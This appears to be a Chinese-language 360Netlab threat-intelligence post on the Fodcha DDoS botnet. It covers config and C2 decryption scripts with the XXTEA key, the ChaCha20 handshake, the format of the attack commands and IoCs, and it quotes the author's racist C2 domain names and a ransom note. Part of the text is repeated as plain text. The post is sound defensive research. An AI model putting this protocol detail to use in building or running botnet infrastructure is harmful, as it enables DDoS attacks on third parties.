<p>回到C2 IP 44这个数字本身,纵然我们和僵尸网络battle多年见多识广,但这个数字依然让我们感到惊讶。世上没有无缘故的爱,光是这些IP资源,就得花费不少的,Fodcha的作者为什么愿意花这个钱呢?答案是DDoS攻击让他赚到了钱。我们节选了2022年6月29至今的数据,其攻击趋势和目标区域分布如下:</p>
<p><a href="__GHOST_URL__/content/images/2022/10/image--1-.png"><img src="__GHOST_URL__/content/images/2022/10/image.min-1.png" class="kg-image"/></a><br>
可以看出:</p>
<ul>
<li>
<p>无愧于DDoS狂魔的称号,攻击几乎没有停歇,几乎打遍全球,日均攻击事件1K+。</p>
</li>
<li>
<p>中美两国颜色较深,说明两国累计被攻击目标及次数较多,综合考虑到两国在互联网上业务的比重原本就比较大,这里的“看起来多”是一种正常状况。</p>
</li>
</ul>
<p>攻击指令在7天内的时间分布如下所示,可以看出Fodcha发起的DDoS攻击遍及<strong>7 * 24</strong>小时,没有明显的时区性,我们倾向Fodcha是一个商业驱动的僵尸网络。</p>
<p><a href="__GHOST_URL__/content/images/2022/10/fodcha_instimezone.png"><img src="__GHOST_URL__/content/images/2022/10/fodcha_instimezone.png" class="kg-image"/></a></p>
<h1 id="">样本分析</h1>
<p>我们将捕获的样本分成了4个大版本,其中在上一篇blog中已经分析过V1V2,此处就不再赘述了,本文选取最新的V4系列样本为主要分析对象,它们的基本信息如下所示:</p>
<pre><code>MD5: ea7945724837f019507fd613ba3e1da9
ELF 32-bit LSB executable, ARM, version 1, dynamically linked (uses shared libs), stripped
LIB: uclibc
PACKER: None
version: V4
MD5: 899047ddf6f62f07150837aef0c1ebfb
ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped
Lib: uclibc
Packer: None
Version: V4.X
</code></pre>
<p>Fodcha的Bot在被侵入设备运行时,首先会从<code>运行参数</code>,<code>网络的连通性</code>,<code>是否设置“LD_PRELOAD”环境变量</code>,<code>自身是否被调试</code>等方面进行检查,如果不满足要求就直接退出,这些检查可以看成是一种对通过模拟器&沙箱提取IOC的简单对抗。</p>
<p>当满足要求运行要求时,则首先解密出配置信息,在Console上输出<strong>snow slide</strong>,然后就是一些常见的主机行为,如单一实例,进程名伪装,操控watchdog,清空特定端口进程,上报特定进程信息等,我们认为这些主机侧的功能没有太多亮点,因此不再展开分析,下文将着重从解密配置信息,网络通信,DDoS攻击等方面对Fodcha进行剖析。</p>
<h2 id="config">解密配置信息(Config)</h2>
<p>Fodcha在V2.X,V3使用并列的Config组织方式,而在V4,V4.X中则使用结构化的Config组织方式,下图非常清楚的显示了它们的区别。</p>
<p><a href="__GHOST_URL__/content/images/2022/10/fodcha_disconfig.png"><img src="__GHOST_URL__/content/images/2022/10/fodcha_disconfig.png" class="kg-image"/></a></p>
<p>虽然Config的组织方法不一样,但它们的加密方法是一样的,通过下面代码片段引用的常量可知,它们使用的是xxtea算法,密钥为<code>PJbiNbbeasddDfsc</code>。</p>
<p><a href="__GHOST_URL__/content/images/2022/10/fodcha_xxtea.png"><img src="__GHOST_URL__/content/images/2022/10/fodcha_xxtea.png" class="kg-image"/></a></p>
<p>经过逆向,我们编写了以下IDAPYTHON脚本来解密配置信息。</p>
<pre><code># md5: ea7945724837f019507fd613ba3e1da9
# requirement: pip install xxtea-py
# test: ida7.6_python3
import ida_bytes
import xxtea
BufBase=0x1F2B0
ConfBase=0x0001F1A0
key=b"PJbiNbbeasddDfsc"
for i in range(17):
offset=ida_bytes.get_word(i*16+ConfBase+2)
leng=ida_bytes.get_word(i*16+ConfBase+4)-offset
buf=ida_bytes.get_bytes(BufBase+offset,leng)
print("index:%d, %s" %(i,xxtea.decrypt(buf,key)))
</code></pre>
<p>解密后的Config信息如下表所示,可以看到index 11还保留着“投降”的彩蛋,另外值得一提的是index 12,它是reporter服务器地址,Fodcha会将一些特定进程的信息上报给它。</p>
<table>
<thead>
<tr>
<th>Index</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>snow slide</td>
</tr>
<tr>
<td>1</td>
<td>/proc/</td>
</tr>
<tr>
<td>2</td>
<td>/stat</td>
</tr>
<tr>
<td>3</td>
<td>/proc/self/exe</td>
</tr>
<tr>
<td>4</td>
<td>/cmdline</td>
</tr>
<tr>
<td>5</td>
<td>/maps</td>
</tr>
<tr>
<td>6</td>
<td>/exe</td>
</tr>
<tr>
<td>7</td>
<td>/lib</td>
</tr>
<tr>
<td>8</td>
<td>/usr/lib</td>
</tr>
<tr>
<td>9</td>
<td>.ri</td>
</tr>
<tr>
<td>10</td>
<td>GET /geoip/?res=10&r HTTP/1.1\r\nHost: 1.1.1.1\r\nConnection: Close\r\n\r\n</td>
</tr>
<tr>
<td>11</td>
<td>Netlab pls leave me alone I surrender</td>
</tr>
<tr>
<td>12</td>
<td>kvsolutions.ru</td>
</tr>
<tr>
<td>13</td>
<td>api.opennicproject.org</td>
</tr>
<tr>
<td>14</td>
<td>watchdog</td>
</tr>
<tr>
<td>15</td>
<td>/dev/</td>
</tr>
<tr>
<td>16</td>
<td>TSource Engine Query</td>
</tr>
</tbody>
</table>
<h2 id="">网络通信</h2>
<p>Fodcha的网络通信在代码层面有一个非常固定的特点:一个永真的While循环,通过switch-case进行各个阶段的处理,因此Fodcha各个版本的网络协议处理函数在IDA中产生的CFG图高度相似,这个特点可以帮助我们对样本进行辨别,对功能快速定位。</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_cfg.png" width="860px" />
<p>总的来说,Fodcha的网络通信要经过以下4个步骤:</p>
<ol>
<li>解密C2</li>
<li>DNS查询</li>
<li>建立通信</li>
<li>执行指令</li>
</ol>
<h3 id="0x1c2">0x1: 解密C2</h3>
<p>Fodcha的不同版本支持的C2种类是不一样的,V2.X只有1组OpenNIC C2;V3&V4拥有1组OpenNIC C2,1组ICANN C2;而V4.X则是最多的,1组OpenNIC C2,2组ICANN C2,下面的图非常清楚的显示了它们的区别。</p>
<p><a href="__GHOST_URL__/content/images/2022/10/fodcha_c2_dis.png"><img src="__GHOST_URL__/content/images/2022/10/fodcha_c2_dis.png" class="kg-image"/></a></p>
<p>虽然C2种类&数量不一样,但是它们的处理逻辑如下图所示,几乎是一样的,首先通过C2_GET函数获得一个C2域名,然后通过DNS_QUERY函数获得C2对应的IP,其中C2_GET的第一个参数为C2密文数据,第2个参数为长度,而DNS_QUERY的第2个参数则暗示了C2的类型。</p>
<img src="__GHOST_URL__/content/images/2022/10/FODCHA_c2compose.png" width="860px" />
<p>通过C2_GET可以获得一个有效的C2域名,它内部的实现可以分成2步:</p>
<ul>
<li>首先得解密C2密文数据。</li>
<li>然后将它们构造成一个合法的域名。</li>
</ul>
<h3 id="c2">解密C2密文数据</h3>
<p>C2的密文数据使用了配置信息一样的加密方式,即xxtea,密钥也是<strong>PJbiNbbeasddDfsc</strong>,通过下面简单的IDAPYTHON脚本,即可解密出OpenNic C2数据。</p>
<pre><code>#md5: 899047DDF6F62F07150837AEF0C1EBFB
import xxtea
import ida_bytes
import hexdump
key=b"PJbiNbbeasddDfsc"
buf=ida_bytes.get_bytes(0x0001CA6C,1568) # Ciphertext of OpenNic C2
plaintext=xxtea.decrypt(buf,key)
print(plaintext)
</code></pre>
<p>解密后的C2数据如下图所示,可以看出C2数据由2部分组成,前面的是domain names,后面是TLDs,它们通过红框中的“<strong>/</strong>”符号分隔。</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_c2plaintext.png" width="860px" />
<h3 id="">构造域名</h3>
<p>Fodcha有一个特定的域名构造方法,等效的Python实现如下所示:</p>
<pre><code># md5: 899047ddf6f62f07150837aef0c1ebfb
# requirement: pip install xxtea-py
# test: ida7.6_python3
import xxtea
import ida_bytes
def getcnt(length):
cnt=1
while True:
cnt +=1
calc=2
for i in range(1,cnt):
calc+=2+12*i%cnt
if calc +cnt==length-1:
return cnt
key=b"PJbiNbbeasddDfsc"
buf=ida_bytes.get_bytes(0x0001CA6C,1568) # Ciphertext of OpenNic C2
plaintext=xxtea.decrypt(buf,key)
domains,tlds=plaintext.split(b'/')
domainList=domains.split(b',')
tldList=tlds.split(b',')
cnt=getcnt(len(domainList))
print("------------There're %d C2------------" %cnt)
coff=2
for i in range(0,cnt):
if i ==0:
c2Prefix=domainList[i+coff]
else:
coff+=12*i %cnt+2
c2Prefix=domainList[i+coff]
c2Tld=tldList[(cnt-i-1)*3]
print(c2Prefix + b'.' + c2Tld)
</code></pre>
<p>将上文得到的C2数据做为输入,最终构造出以下14个OpenNIC C2。</p>
<pre><code>techsupporthelpars.oss
yellowchinks.geek
yellowchinks.dyn
wearelegal.geek
funnyyellowpeople.libre
chinksdogeaters.dyn
blackpeeps.dyn
pepperfan.geek
chinkchink.libre
peepeepoo.libre
respectkkk.geek
bladderfull.indy
tsengtsing.libre
obamalover.pirate
</code></pre>
<p>对ICANN域名体系熟悉的读者,或许会在第一眼就认为我们的解密是错误的,因为ICANN的域名体系并不支持这些TLDs,它们肯定“无法解析”,事实上它们正是OpenNIC体系下的域名,OpenNIC是独立于ICANN的另一套域名体系,它支持下图所示的TLDs,OpenNIC的域名无法通过常见的DNS(如8.8.8.8,101.198.198.198)解析,必须使用指定的NameServer,更多的细节就不再展开,感兴趣的读者自行到其<a href="https://www.opennic.org/"><strong>官方网站</strong></a>了解。</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_opennic.png" width="860px" />
<p>用同样的方法,我们可以得到以下4个ICANN C2。</p>
<pre><code>cookiemonsterboob[.]com
forwardchinks[.]com
doodleching[.]com
milfsfors3x[.]com
</code></pre>
<h3 id="0x2dns">0X2: DNS查询</h3>
<p>当成功获得C2域名后,Bot通过函数<strong>DNS_QUERY</strong>进行域名解析,它的第2个参数是一个FLAG,暗示了OpenNIC/ICANN C2的不同处理过程,相应的代码片段如下所示:</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_disdns.png" width="860px" />
<p>可以看出对于OpenNIC C2的解析有2个选择:</p>
<ul>
<li>选择1:通过API接口向<strong>api.opennicproject.org</strong>请求,动态的获取nameserver</li>
</ul>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_resolvns.png" width="860px" />
<ul>
<li>选择2:使用下图所示的硬编码nameserver</li>
</ul>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_opennicHard.png" width="860px" />
<p>而对于ICANN C2则只有一个选择,即使用下图中的硬编码nameserver。</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_iccanHard.png" width="860px" />
<p>以实际解析 C2“techsupporthelpars.oss”为例,它的解析过程在网络流量中的体现如下所示:</p>
<p><a href="__GHOST_URL__/content/images/2022/10/fodcha_opendnsexample.png"><img src="__GHOST_URL__/content/images/2022/10/fodcha_opendnsexample.png" class="kg-image"/></a></p>
<h3 id="opennicicannc2">为什么使用OpenNIC / ICANN 双C2?</h3>
<p>Fodcha作者构建了一套OpenNIC / ICANN 双C2的冗余结构,他为什么要这么做呢?</p>
<p>从C2基础设施的角度出发,Fodcha被曝光后,其C2被一些服务商加入到了监控列表,进行拦截。例如Quad9DNS(9.9.9.9)就曾发过一个关于Fodcha域名流量spike的Twitter</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_quad.png" width="860px" />
<p>在Fodcha被打击之后,其作者在重新选择C2基础设施时,看中了OpenNIC宣传的"DNS Neutrality"特性,通过绕开ICANN的域名体系,从根本上消除C2被监管&接管的可能性,因此Fodcha在V2.X引入OpenNic C2,并将其做为主C2。</p>
<p>与此同时,OpenNIC C2可能存在一些问题,比如OpenNIC的NameServer在某些地区可能无法访问,或者域名解析上存在效率或稳定性的问题。出于健壮性的考虑,Fodcha作者在V3之 后重新加入ICANN C2作为后备C2,与主C2构成冗余结构。</p>
<h3 id="0x3">0x3: 建立通信</h3>
<p>Fodcha Bot通过又下代码片段和C2建立连接,一共有个22个端口。</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_establishConn.png" width="860px" />
<p>当成功和C2建立连接后,Bot与C2必须经过3个阶段的交互,才能真正建立通信。</p>
<ul>
<li>阶段1:Bot向C2请求chacha20加密算法的的key&nonce。</li>
<li>阶段2:Bot与C2使用阶段1的key&nonce进行身份确认。</li>
<li>阶段3:Bot将加密后的上线&分组信息发往C2。</li>
</ul>
<p>为了辅助分析,我们在受限的环境内运行了Bot样本,并使用<code>fsdsaD</code>做为分组字串,产生了下图所示的网络流量,下文将详细介绍此流量是如何生成的。</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_prapacket.png" width="860px" />
<h3 id="1botc2head7bytesbodyrandom2040bytes">阶段1:Bot ---> C2 ,格式为head(7 bytes) + body( random 20-40 bytes)</h3>
<p>Bot主动向C2发送<strong>netstage=6</strong>的初始化消息,这个消息的格式为head+body,各字段含义如下所示:</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_netStageOneb2c.png" width="860px" />
<h4 id="head">head</h4>
<p>head的长度为7 bytes,格式如下所示:</p>
<pre><code>06 ---->netstage,1byte,06 means init
f0 70 ---->tcpip checksum, 2byte,
00 16 ---->length of body, 2 bytes
</code></pre>
<h4 id="checksum">checksum</h4>
<p>head中的checksum使用的是tcp/ip的checksum,它计算对象为整个payload,checksum所在偏移的原始值为"\x00\x00",checksum的python实现如下所示:</p>
<pre><code class="language-python">def checksum(data):
s = 0
n = len(data) % 2
for i in range(0, len(data)-n, 2):
s+= ord(data[i]) + (ord(data[i+1]) << 8)
if n:
s+= ord(data[-1])
while (s >> 16):
s = (s & 0xFFFF) + (s >> 16)
s = ~s & 0xffff
return s
buf="\x06\x00\x00\x00\x00\x00\x16\x36\x93\x93\xb7\x27\x5c\x9a\x2a\x16\x09\xd8\x13\x32\x01\xd2\x69\x1d\x25\xf3\x42\x00\x32"
print(hex(checksum(buf)))
#hex(checksum(buf))
#0x70f0
</code></pre>
<h4 id="body">body</h4>
<p>body为随机生成的内容,无意义。</p>
<pre><code>00000000 36 93 93 b7 27 5c 9a 2a 16 09 d8 13 32 01 d2 69
00000010 1d 25 f3 42 00 32
</code></pre>
<h3 id="1c2bot2">阶段1:C2--->Bot,共2轮</h3>
<p>当C2收到Bot的<strong>netstage=6</strong>的消息后,就会向BOT发送2轮的数据。</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_netStageOne.png" width="860px" />
<ul>
<li>
<p>第一轮,36 bytes , 原信息被xxtea加密,解密后作为chacha20的key,长度为32bytes</p>
<pre><code class="language-python">import hexdump
import xxtea
key=b"PJbiNbbeasddDfsc"
keyBuf=bytes.fromhex("806d8806cd5460d8996339fbf7bac34ba1e20f792872ba0e05d096ad92a5535e60e55b8d")
chaKey=xxtea.decrypt(keyBuf,key)
hexdump.hexdump(chaKey)
#chaKey
00000000: E6 7B 1A E3 A4 4B 13 7F 14 15 5E 99 31 F2 5E 3A
00000010: D7 7B AB 0A 4D 5F 00 EF 0C 01 9F 86 94 A4 9D 4B
</code></pre>
</li>
<li>
<p>第二轮,16 bytes,原信息被xxtea加密,解密后作为chacha20的nonce,长度12bytes</p>
<pre><code class="language-python">import hexdump
import xxtea
key=b"PJbiNbbeasddDfsc"
nonBuf=bytes.fromhex("22c803bb310c5b2512e76a472418f9ee")
chaNonce=xxtea.decrypt(nonBuf,key)
hexdump.hexdump(chaNonce)
#chaNonce
00000000: 98 79 59 57 A8 BA 7E 13 59 9F 59 6F
</code></pre>
</li>
</ul>
<h3 id="2botc2chacha20">阶段2:Bot--->C2,chacha20加密</h3>
<p>Bot收到chacha20的key和nonce后,就向C2发送<strong>netstage=4</strong>的消息,此次消息使用chacha20加密,key&nonce由上一阶段获得,加密的轮数为1。</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_netStageTwob2c.png" width="860px" />
<p>我们可以使用下面的python代码可以解密上面的流量,</p>
<pre><code>from Crypto.Cipher import ChaCha20
cha=ChaCha20.new(key=chaKey,nonce=chaNonce)
cha.seek(64)
tmp=bytes.fromhex('dc23c56943431018b61262481ce5a219da9480930f08714e017edc56bf903d32ac5daeb8314f1bf7e6')
rnd3=cha.decrypt(tmp)
</code></pre>
<p>解密后的流量如下所示,它的格式依然是前文所述的head(7 bytes)+body,其中head的netstage字段的值为04,代表身份认证。</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_netplainb2c.png" width="860px" />
<h3 id="2c2botchacha20">阶段2:C2--->Bot,chacha20加密</h3>
<p>C2在收到Bot的身份认证消息后,也向Bot的数据发送<strong>netstage=4</strong>的消息,同样使用chacha20加密,且key,nonce,轮数和Bot使用的是一样的。</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_netStageTwoc2b.png" width="860px" />
<p>使用和Bot相同的代码解密流量,可以看出它的格式也是head+body,netstage的值也为04。</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_netplainc2b.png" width="860px" />
<p>在Bot和C2互发<strong>netstage=4</strong>的消息之后,代表阶段1的chacha20 key&nonce被双方认可,彼此的身份认证完成,Bot进入下一阶段准备上线。</p>
<h3 id="3botc22chacha">阶段3:Bot--->C2,共2轮,chacha加密</h3>
<p>Bot向C2发送<strong>netstage=5</strong>的消息,表示准备上线,接着再自己的分组信息上报给C2,这2轮消息也使用chacha20加密。</p>
<ul>
<li>
<p>第一轮<br>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_netStageThrReg.png" width="860px" /></p>
</li>
<li>
<p>第二轮</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_netStageThrGroup.png" width="860px" />
</li>
</ul>
<p>上述2轮的数据解密后如下所示,可以看出分组的内容正是预设的"<code>fsdsaD</code>",这代表我们的分析是正确的,至此Bot成功上线,开始等待执行C2下发的指令。</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_netplainb2cReg.png" width="860px" />
<h3 id="0x4">0x4:执行指令</h3>
<p>Bot成功上线后,支持的netstage编号,如下所图所示,其中最重要的就是<strong>netstage=1</strong>代表DDoS任务,Fodcha复用了大量Mirai的攻击代码,一共支持17种攻击方法。</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_afterreg.png" width="860px" />
<p>以下图的DDos_Task流量(netstage=01)为例:</p>
<img src="__GHOST_URL__/content/images/2022/10/fodcha_taskddos.png" width="860px" />
<p>攻击指令依然采用chacha20加密,解密后的指令如下所示,相信熟悉Mirai的读者看到此处肯定会心一笑。</p>
<pre><code>00000000: 00 00 00 3C 07 01 xx 14 93 01 20 02 00 00 02 01
00000010: BB 01 00 02 00 01
</code></pre>
<p>上述攻击指令的格式和解析方式如下表所示:</p>
<table>
<thead>
<tr>
<th>offset</th>
<th>len (bytes)</th>
<th>value</th>
<th>meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td>4</td>
<td>00 00 00 3c</td>
<td>Duration</td>
</tr>
<tr>
<td>0x04</td>
<td>1</td>
<td>07</td>
<td>Attack Vector,07</td>
</tr>
<tr>
<td>0x05</td>
<td>1</td>
<td>1</td>
<td>Attack Target Cnt</td>
</tr>
<tr>
<td>0x06</td>
<td>4</td>
<td>xx 14 93 01</td>
<td>Attack Target,xx.20.147.1</td>
</tr>
<tr>
<td>0x0a</td>
<td>1</td>
<td>20</td>
<td>Netmask</td>
</tr>
<tr>
<td>0x0b</td>
<td>1</td>
<td>02</td>
<td>Option Cnt</td>
</tr>
<tr>
<td>0x0c</td>
<td>5</td>
<td>00 00 02 01 bb</td>
<td>OptionId 0,len 2, value 0x01bb ---> (port 443)</td>
</tr>
<tr>
<td>0x11</td>
<td>5</td>
<td>01 00 02 00 01</td>
<td>OptionId 1, len 2, value 0x0001---> (payload len 1 byte)</td>
</tr>
</tbody>
</table>
<p>当Bot接收到上述指令,就会使用payload为1字节的tcp报文对目标xx.20.147.1:443进行DDoS攻击,这和实际抓包的流量是能对应上的。</p>
<p><a href="__GHOST_URL__/content/images/2022/10/fodcha_ddospacket.png"><img src="__GHOST_URL__/content/images/2022/10/fodcha_ddospacket.png" class="kg-image"/></a></p>
<h1 id="">花絮</h1>
<h3 id="0x01">0x01: 种族歧视</h3>
<p>从某些OpenNIC C2的构词上来说,Fodcha的作者似乎对黄种人,黑人有比较大的敌意。</p>
<pre><code>yellowchinks.geek
wearelegal.geek
funnyyellowpeople.libre
chinksdogeaters.dyn
blackpeeps.dyn
bladderfull.indy
wehateyellow
</code></pre>
<h3 id="0x02">0x02: 攻击即勒索</h3>
<p>Fodcha曾在其下发的UDP攻击指令中,附带以下字串:</p>
<pre><code>send 10 xmr to 49UnJhpvRRxDXJHYczoUEiK3EKCQZorZWaV6HD7axKGQd5xpUQeNp7Xg9RATFpL4u8dzPfAnuMYqs2Kch1soaf5B5mdfJ1b or we will shutdown your business
</code></pre>
<p>Bot打出的攻击流量如下所示,该钱包地址似乎是非法的,没能给我们更多的线索,但从这一行为出发,或许Fodcha背后的运营者正在尝试攻击即勒索这种商业模式。<br>
<a href="__GHOST_URL__/content/images/2022/10/fodcha_ddosransom.png"><img src="__GHOST_URL__/content/images/2022/10/fodcha_ddosransom.png" class="kg-image"/></a></p>
<h1 id="">联系我们</h1>
<p>感兴趣的读者,可以在 <a href="https://twitter.com/360Netlab">twitter</a> 或者通过邮件netlab[at]360.cn联系我们。</p>
<h1 id="">解决方案</h1>
<p>基于Netlab多年研究工作孵化的360全系列<a href="https://sdns.360.net/">DNS安全产品</a>均已支持文中远控服务器的拦截和检测,同时内置多种算法可有效发现和拦截各种未知威胁,建议企业客户接入360 DNS安全SaaS平台或部署本地360DNS安全产品,及时防范此类新型威胁,避免企业资产失陷。联系人: <a href="mailto:wangkun-bd@360.cn">wangkun-bd@360.cn</a></p>
<h1 id="ioc">IoC</h1>
<h3 id="c2">C2</h3>
<pre><code>yellowchinks.geek
yellowchinks.dyn
wearelegal.geek
tsengtsing.libre
techsupporthelpars.oss
respectkkk.geek
pepperfan.geek
peepeepoo.libre
obamalover.pirate
milfsfors3x[.]com
funnyyellowpeople.libre
fridgexperts[.]cc
forwardchinks[.]com
folded[.]in
doodleching[.]com
cookiemonsterboob[.]com
chinksdogeaters.dyn
chinkchink.libre
bladderfull.indy
blackpeeps.dyn
91.206.93.243
91.149.232.129
91.149.232.128
91.149.222.133
91.149.222.132
67.207.84.82
54.37.243.73
51.89.239.122
51.89.238.199
51.89.176.228
51.89.171.33
51.161.98.214
46.17.47.212
46.17.41.79
45.88.221.143
45.61.139.116
45.41.240.145
45.147.200.168
45.140.169.122
45.135.135.33
3.70.127.241
3.65.206.229
3.122.255.225
3.121.234.237
3.0.58.143
23.183.83.171
207.154.206.0
207.154.199.110
195.211.96.142
195.133.53.157
195.133.53.148
194.87.197.3
194.53.108.94
194.53.108.159
194.195.117.167
194.156.224.102
194.147.87.242
194.147.86.22
193.233.253.93
193.233.253.220
193.203.12.157
193.203.12.156
193.203.12.155
193.203.12.154
193.203.12.151
193.203.12.123
193.124.24.42
192.46.225.170
185.45.192.96
185.45.192.227
185.45.192.212
185.45.192.124
185.45.192.103
185.198.57.95
185.198.57.105
185.183.98.205
185.183.96.7
185.143.221.129
185.143.220.75
185.141.27.238
185.141.27.234
185.117.75.45
185.117.75.34
185.117.75.119
185.117.73.52
185.117.73.147
185.117.73.115
185.117.73.109
18.185.188.32
18.136.209.2
178.62.204.81
176.97.210.176
172.105.59.204
172.105.55.131
172.104.108.53
170.187.187.99
167.114.124.77
165.227.19.36
159.65.158.148
159.223.39.133
157.230.15.82
15.204.18.232
15.204.18.203
15.204.128.25
149.56.42.246
139.99.166.217
139.99.153.49
139.99.142.215
139.162.69.4
138.68.10.149
137.74.65.164
13.229.98.186
107.181.160.173
107.181.160.172
</code></pre>
<h3 id="reporter">Reporter</h3>
<pre><code>kvsolutions[.]ru
icarlyfanss[.]com
</code></pre>
<h3 id="samples">Samples</h3>
<pre><code>ea7945724837f019507fd613ba3e1da9
899047ddf6f62f07150837aef0c1ebfb
0f781868d4b9203569357b2dbc46ef10
</code></pre>
<!--kg-card-end: markdown--> | 背景
2022年4月13日,360Netlab首次向社区披露了Fodcha僵尸网络,在我们的文章发表之后,Fodcha遭受到相关部门的打击,其作者迅速做出回应,在样本中留下Netlab pls leave me alone I surrender字样向我们投降。本以为Fodcha会就此淡出江湖,没想到这次投降只是一个不讲武德的假动作,Fodcha的作者在诈降之后并没有停下更新的脚步,很快就推出了新版本。
在新版本中,Fodcha的作者重新设计了通信协议,并开始使用xxtea和chacha20算法对敏感资源和网络通信进行加密,以躲避文件&流量层面的检测;同时引入了OpenNIC 域名做为主选C2,ICANN 域名做为后备C2的双C2方案。这种冗余机制,既能防止C2被接管,又有良好的健壮性,能够维持其主控网络的稳定。
依托于背后团队强大的N-day漏洞整合能力,卷土重来的Focha与之前对比可谓有过之而无不及。在我们的数据视野中,从规模来看,Fodcha再次发展成日活Bot节点数超过60K,C2域名绑定40+IP,可以轻松打出超过1Tbps流量的大规模僵尸网络;就活跃程度而言,Fodcha日均攻击目标100+,累计攻击目标2万多,在10月11日到达了攻击的巅峰,单日“丧心病狂”的攻击了1396个目标。
在极短的时间内重回巅峰,Fodcha的作者似乎忘了闷声发大财的道理,竟然又开始主动"招惹”我们,在某次扫描的脚本中使用N3t1@bG@Y字样的leetspeak,翻译过来就是"NETLABGAY",这么明目张胆的黑Netlab,让我们觉得它多多少少有些“皮痒”了。
鉴于Fodcha的规模&活跃程度带来的巨大危险性,以及非常嚣张的挑衅,我们决定撰写本文向社区分享我们的发现,一起打击Fodcha的嚣张气焰,共同维护网络安全。
时间线
依托于360Netlab强大的BotMon和DDoSMon系统,我们对Fodcha的样本演变和DDoS攻击指令一直保持着良好跟踪,下面是我们看到的样本演变以及一些重要的DDoS攻击事件。(注:Fodcha样本本身没有特定的标志表明其版本,这是我们内部为了跟踪方便而定的版本号)
*
2022年1月12日,首次捕获到Fodcha僵尸网络样本。
*
2022年4月13日,首次向外披露Fodcha僵尸网络,包含版本V1,V2。
*
2022年4月19日,捕获版本V2.x,使用OpenNIC's TLDs风格的C2(全文简称OpenNIC C2)。
*
2022年4月24日,捕获版本V3,使用xxtea算法加密配置信息,新增ICANN's TLDs风格的C2(全文简称ICANN C2),和OpenNIC C2构成冗余机制;新增反沙箱&反调试机制。
*
2022年6月5日,捕获版本V4,使用结构化的配置信息,去除反沙箱&反调试机制。
*
2022年6月7&8日,监控到Fodcha对某国的某地的健康码机构进行了DDoS攻击。
*
2022年7月7日,捕获版本V4.x,额外新增一组ICANN C2。
*
2022年9月X日,在协助某国的某执法机构固定某公司语音业务被DDoS攻击的证据链过程中,发现攻击背后有Fodcha的影子。
*
2022年9月21日,某知名云服务商就一起流量超过1Tbps的攻击事件向我们咨询,经过数据的交叉比对,确定攻击方为Fodcha。
规模推测
国外合作伙伴的数据表明Fodcha 4月份时全球日活Bot的数量为6W(参考我们另一篇文章),关于Fodcha僵尸网络的目前规模,我们没有确切的数字,但通过对比Fodcha 4月和10月在C2 IP数量上的差异,我们从技术上出发,有个未经验证的猜测:目前Fodcha的日活Bot数量超过6W。
推测过程如下:
僵尸网络的规模与C2 IP的数量存在一个正向关系,最朴素的观点是:“僵尸网络规模越大,所需要的C2基础设施也越多”。在4月份,Fodcha被处置之前,其作者为维持6W的规模,投入了10个C2 IP;随后Fodcha开始了自己的复活之旅,我们观察到一个现象,随着Fodcha的复苏,其C2域名对应的IP在持续增加。时至今日,Fodcha的作者投入了多少C2 IP呢?使用dig命令查询最新的C2域名yellowchinks.dyn的绑定IP,可以看到数量是44。
可以说我们见证了Fodcha的C2 IP一步步从几个增长到今天的40+,可能的解释是作者人傻钱多无脑上资源,但结合其迅猛的传播以及历史上曾看到的万级规模,他们增加C2 IP更可能的原因是因为其僵尸网络规模太大,需要投入更多的IP资源,以使Bot与C2之间在数量上有一个合理比例,达到负载均衡。
综上,我们从C2 IP数量上大幅度的增长,推测目前Fodcha的规模大于4月份,日活Bot数量超过6W。当然再合理的推测也还是假设,欢迎有视野的社区伙伴不吝指正。
DDoS统计
回到C2 IP 44这个数字本身,纵然我们和僵尸网络battle多年见多识广,但这个数字依然让我们感到惊讶。世上没有无缘故的爱,光是这些IP资源,就得花费不少的,Fodcha的作者为什么愿意花这个钱呢?答案是DDoS攻击让他赚到了钱。我们节选了2022年6月29至今的数据,其攻击趋势和目标区域分布如下:
可以看出:
*
无愧于DDoS狂魔的称号,攻击几乎没有停歇,几乎打遍全球,日均攻击事件1K+。
*
中美两国颜色较深,说明两国累计被攻击目标及次数较多,综合考虑到两国在互联网上业务的比重原本就比较大,这里的“看起来多”是一种正常状况。
攻击指令在7天内的时间分布如下所示,可以看出Fodcha发起的DDoS攻击遍及7 * 24小时,没有明显的时区性,我们倾向Fodcha是一个商业驱动的僵尸网络。
样本分析
我们将捕获的样本分成了4个大版本,其中在上一篇blog中已经分析过V1V2,此处就不再赘述了,本文选取最新的V4系列样本为主要分析对象,它们的基本信息如下所示:
MD5: ea7945724837f019507fd613ba3e1da9
ELF 32-bit LSB executable, ARM, version 1, dynamically linked (uses shared libs), stripped
LIB: uclibc
PACKER: None
version: V4
MD5: 899047ddf6f62f07150837aef0c1ebfb
ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped
Lib: uclibc
Packer: None
Version: V4.X
Fodcha的Bot在被侵入设备运行时,首先会从运行参数,网络的连通性,是否设置“LD_PRELOAD”环境变量,自身是否被调试等方面进行检查,如果不满足要求就直接退出,这些检查可以看成是一种对通过模拟器&沙箱提取IOC的简单对抗。
当满足要求运行要求时,则首先解密出配置信息,在Console上输出snow slide,然后就是一些常见的主机行为,如单一实例,进程名伪装,操控watchdog,清空特定端口进程,上报特定进程信息等,我们认为这些主机侧的功能没有太多亮点,因此不再展开分析,下文将着重从解密配置信息,网络通信,DDoS攻击等方面对Fodcha进行剖析。
解密配置信息(Config)
